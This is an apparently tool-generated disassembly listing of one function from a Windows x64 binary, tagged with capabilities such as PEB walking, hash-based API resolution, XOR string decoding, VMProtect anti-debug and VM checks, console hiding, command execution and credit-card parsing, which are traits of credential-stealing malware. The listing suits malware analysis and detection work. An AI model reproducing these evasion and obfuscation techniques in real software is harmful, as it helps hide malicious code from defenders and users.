Function at 0x1400f0e20
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Execute command
Hash data using fnv
Hide graphical window
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x3c40
call fcn.1401cb0e0
sub rsp, rax
mov eax, dword [str.U_K9fRJTiKSRX_]
mov dword [rsp + 0x3c50], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400f0ed6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400f0ed6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400f0ed1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400f0eb0
cmp r8d, 0x491e0a9c
je 0x1400f0edb
test r9d, r9d
jne 0x1400f0e90
mov rax, qword [rax]
jmp 0x1400f0e60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
vmovdqu xmm5, xmmword [0x1401eca70]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x1401ecc60]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x1401ecc60]
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 4
vpsrld xmm0, xmm4, 0x1f
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x1401eca90]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x1401eca60]
vpaddb xmm2, xmm4, xmmword [0x1401ecbe0]
vmovd xmm0, dword [rsp + 0x3c50]
vpxor xmm1, xmm2, xmm0
vmovd dword [rsp + 0x3c50], xmm1
lea rcx, [rsp + 0x3c50]
call rdx
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
vmovsd xmm0, qword [0x1401e89c0]
vmovsd qword [rsp + 0x20], xmm0
movzx eax, word [0x1401e89c8]
mov word [rsp + 0x28], ax
cmp byte [0x1401e89c9], 0
je 0x1400f0fc5
mov byte [rsp + 0x20], 0x50
xor byte [rsp + 0x21], 0x37
xor byte [rsp + 0x22], 0x38
xor byte [rsp + 0x23], 0x39
xor byte [rsp + 0x24], 0x3a
xor byte [rsp + 0x25], 0x3b
xor byte [rsp + 0x26], 0x3c
xor byte [rsp + 0x27], 0x3d
xor byte [rsp + 0x28], 0x3e
xor byte [rsp + 0x29], 0x3f
lea rcx, [rsp + 0x20]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsProtected]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsVirtualMachinePresent]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rdi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x16ea], ymm0
vmovdqu xmm1, xmmword [0x1401ecde0]
vmovdqu xmmword [rsp + 0x170a], xmm1
mov word [rsp + 0x171a], 0x100
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x16ea], al
inc rcx
cmp rcx, 0x30
jb 0x1400f1040
mov byte [rsp + 0x171b], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x108], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x118], xmm1
lea rax, [rsp + 0x16ea]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f1090
lea rdx, [rsp + 0x16ea]
lea rcx, [rsp + 0x108]
vzeroupper
call fcn.14009dee0
nop
mov r8d, 0x8788
lea rdx, [0x140226070]
lea rcx, [rsp + 0x108]
call fcn.1400ee720
nop
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x1400f1111
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f110c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400f1328
call fcn.1401cb090
vmovdqu xmm0, xmmword [0x1401eca40]
vmovdqu xmmword [rsp + 0x118], xmm0
mov byte [rsp + 0x108], 0
vmovdqu ymm1, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x16b9], ymm1
vmovdqu xmm0, xmmword [0x1401ecb20]
vmovdqu xmmword [rsp + 0x16d9], xmm0
mov byte [rsp + 0x16e9], 1
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x16b9], al
inc rcx
cmp rcx, 0x2f
jb 0x1400f1160
mov byte [rsp + 0x16e9], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x128], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x138], xmm1
lea rax, [rsp + 0x16b9]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400f11a0
lea rdx, [rsp + 0x16b9]
lea rcx, [rsp + 0x128]
vzeroupper
call fcn.14009dee0
nop
mov r8d, 0x7180
lea rdx, [0x14021eed0]
lea rcx, [rsp + 0x128]
call fcn.1400ee720
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x1400f1221
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f121c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400f1328
call fcn.1401cb090
vmovdqu xmm0, xmmword [0x1401eca40]
vmovdqu xmmword [rsp + 0x138], xmm0
mov byte [rsp + 0x128], 0
vmovdqu ymm1, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x171c], ymm1
vmovdqu xmm0, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x173c], xmm0
mov word [rsp + 0x174c], 0x100
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x171c], al
inc rcx
cmp rcx, 0x30
jb 0x1400f1270
mov byte [rsp + 0x174d], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x148], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x158], xmm1
lea rax, [rsp + 0x171c]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400f12b0
lea rdx, [rsp + 0x171c]
lea rcx, [rsp + 0x148]
vzeroupper
call fcn.14009dee0
nop
mov r8d, 0x4b670
lea rdx, [0x14026ec10]
lea rcx, [rsp + 0x148]
call fcn.1400ee720
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x1400f1334
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f132f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f132f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401cb090
vmovdqu xmm0, xmmword [0x1401eca40]
vmovdqu xmmword [rsp + 0x158], xmm0
vmovups ymm0, ymmword [str.u_rdiHT_O_R]
vmovups ymmword [rsp + 0x216f], ymm0
movzx eax, word [0x1401e8a08]
vmovsd xmm0, qword [0x1401e8a00]
vmovups xmm1, xmmword [0x1401e89f0]
mov word [rsp + 0x21a7], ax
vmovsd qword [rsp + 0x219f], xmm0
vmovups xmmword [rsp + 0x218f], xmm1
mov byte [rsp + 0x148], 0
xor r10d, r10d
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x216f], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2170], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2171], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2172], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2173], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2174], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2175], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2176], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2177], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2178], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2179], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x217a], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x217b], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x217c], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x217d], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x217e], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x217f], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2180], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2181], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2182], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2183], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2184], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2185], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2186], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2187], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2188], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2189], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x218a], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x218b], al
add r10d, 0x1d
cmp r10d, 0x3a
jl 0x1400f1392
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x168], xmm0
mov qword [rsp + 0x178], 0
mov qword [rsp + 0x180], 0
lea rax, [rsp + 0x216f]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400f18a3
mov r8, rbx
lea rdx, [rsp + 0x216f]
lea rcx, [rsp + 0x168]
vzeroupper
call fcn.14009dee0
lea rcx, [rsp + 0x168]
call fcn.14010fbb0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x1a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x188b], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x18ab], xmm1
mov dword [rsp + 0x18bb], 0x9d9ee3eb
mov word [rsp + 0x18bf], 0xef
mov byte [rsp + 0x18c1], 1
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x188b], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1930
mov byte [rsp + 0x18c1], 0
lea rdx, [rsp + 0x188b]
lea rcx, [rsp + 0x188]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
mov r8, qword [rsp + 0x1c0]
cmp r8, 0xf
jbe 0x1400f198f
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x1a8]
call fcn.14009d2a0
vmovdqu xmm0, xmmword [0x1401eca40]
vmovdqu xmmword [rsp + 0x1b8], xmm0
mov byte [rsp + 0x1a8], 0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x1e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x18c2], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x18e2], xmm1
mov dword [rsp + 0x18f2], 0x9d8fe3eb
mov word [rsp + 0x18f6], 0xef
mov byte [rsp + 0x18f8], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x18c2], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1a00
mov byte [rsp + 0x18f8], 0
lea rdx, [rsp + 0x18c2]
lea rcx, [rsp + 0x1c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
mov r8, qword [rsp + 0x200]
cmp r8, 0xf
jbe 0x1400f1a5f
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x1e8]
call fcn.14009d2a0
vmovdqu xmm0, xmmword [0x1401eca40]
vmovdqu xmmword [rsp + 0x1f8], xmm0
mov byte [rsp + 0x1e8], 0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x228]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x18f9], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1919], xmm1
mov dword [rsp + 0x1929], 0x9d8ee3eb
mov word [rsp + 0x192d], 0xef
mov byte [rsp + 0x192f], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x18f9], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1ad0
mov byte [rsp + 0x192f], 0
lea rdx, [rsp + 0x18f9]
lea rcx, [rsp + 0x208]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x228]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x268]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1d45], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1d65], xmm1
mov dword [rsp + 0x1d75], 0x9d9de3eb
mov dword [rsp + 0x1d79], 0x100f081
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1d45], al
inc rcx
cmp rcx, 0x36
jb 0x1400f1b70
mov byte [rsp + 0x1d7c], 0
lea rdx, [rsp + 0x1d45]
lea rcx, [rsp + 0x248]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x268]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1930], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1950], xmm1
mov dword [rsp + 0x1960], 0x9d8fe3eb
mov word [rsp + 0x1964], 0xef
mov byte [rsp + 0x1966], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1930], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1c10
mov byte [rsp + 0x1966], 0
lea rdx, [rsp + 0x1930]
lea rcx, [rsp + 0x288]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x2a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1967], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1987], xmm1
mov dword [rsp + 0x1997], 0x988fe3eb
mov word [rsp + 0x199b], 0xef
mov byte [rsp + 0x199d], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1967], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1cb0
mov byte [rsp + 0x199d], 0
lea rdx, [rsp + 0x1967]
lea rcx, [rsp + 0x2c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x2e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x328]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x199e], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x19be], xmm1
mov dword [rsp + 0x19ce], 0x9e8fe3eb
mov word [rsp + 0x19d2], 0xef
mov byte [rsp + 0x19d4], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x199e], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1d50
mov byte [rsp + 0x19d4], 0
lea rdx, [rsp + 0x199e]
lea rcx, [rsp + 0x308]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x328]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x368]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x19d5], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x19f5], xmm1
mov dword [rsp + 0x1a05], 0x838fe3eb
mov word [rsp + 0x1a09], 0xef
mov byte [rsp + 0x1a0b], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x19d5], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1df0
mov byte [rsp + 0x1a0b], 0
lea rdx, [rsp + 0x19d5]
lea rcx, [rsp + 0x348]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x368]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x3a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1a0c], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1a2c], xmm1
mov dword [rsp + 0x1a3c], 0x839ee3eb
mov word [rsp + 0x1a40], 0xef
mov byte [rsp + 0x1a42], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1a0c], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1e90
mov byte [rsp + 0x1a42], 0
lea rdx, [rsp + 0x1a0c]
lea rcx, [rsp + 0x388]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x3a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x3e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1a43], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1a63], xmm1
mov dword [rsp + 0x1a73], 0x859ee3eb
mov word [rsp + 0x1a77], 0xef
mov byte [rsp + 0x1a79], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1a43], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1f30
mov byte [rsp + 0x1a79], 0
lea rdx, [rsp + 0x1a43]
lea rcx, [rsp + 0x3c8]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x3e8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x428]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1a7a], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1a9a], xmm1
mov dword [rsp + 0x1aaa], 0x889ee3eb
mov word [rsp + 0x1aae], 0xef
mov byte [rsp + 0x1ab0], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1a7a], al
inc rcx
cmp rcx, 0x35
jb 0x1400f1fd0
mov byte [rsp + 0x1ab0], 0
lea rdx, [rsp + 0x1a7a]
lea rcx, [rsp + 0x408]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x428]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x468]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1ab1], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1ad1], xmm1
mov dword [rsp + 0x1ae1], 0x9d9ee3eb
mov word [rsp + 0x1ae5], 0xef
mov byte [rsp + 0x1ae7], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1ab1], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2070
mov byte [rsp + 0x1ae7], 0
lea rdx, [rsp + 0x1ab1]
lea rcx, [rsp + 0x448]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x468]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x4a8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1ae8], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1b08], xmm1
mov dword [rsp + 0x1b18], 0x989ee3eb
mov word [rsp + 0x1b1c], 0xef
mov byte [rsp + 0x1b1e], 1
xor ecx, ecx
nop
lea eax, [rcx - 0x65]
xor byte [rsp + rcx + 0x1ae8], al
inc rcx
cmp rcx, 0x35
jb 0x1400f2110
mov byte [rsp + 0x1b1e], 0
lea rdx, [rsp + 0x1ae8]
lea rcx, [rsp + 0x488]
vzeroupper
call fcn.14009d3c0
mov rcx, rax
call fcn.14010fbb0
nop
lea rcx, [rsp + 0x4a8]
call fcn.14009b5e0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x4e8]
call fcn.1400fcb30
mov r8, rax
vmovdqu ymm0, ymmword [0x1401ee1c0]
vmovdqu ymmword [rsp + 0x1b1f], ymm0
vmovdqu xmm1, xmmword [0x1401ecd40]
vmovdqu xmmword [rsp + 0x1b3f], xmm1
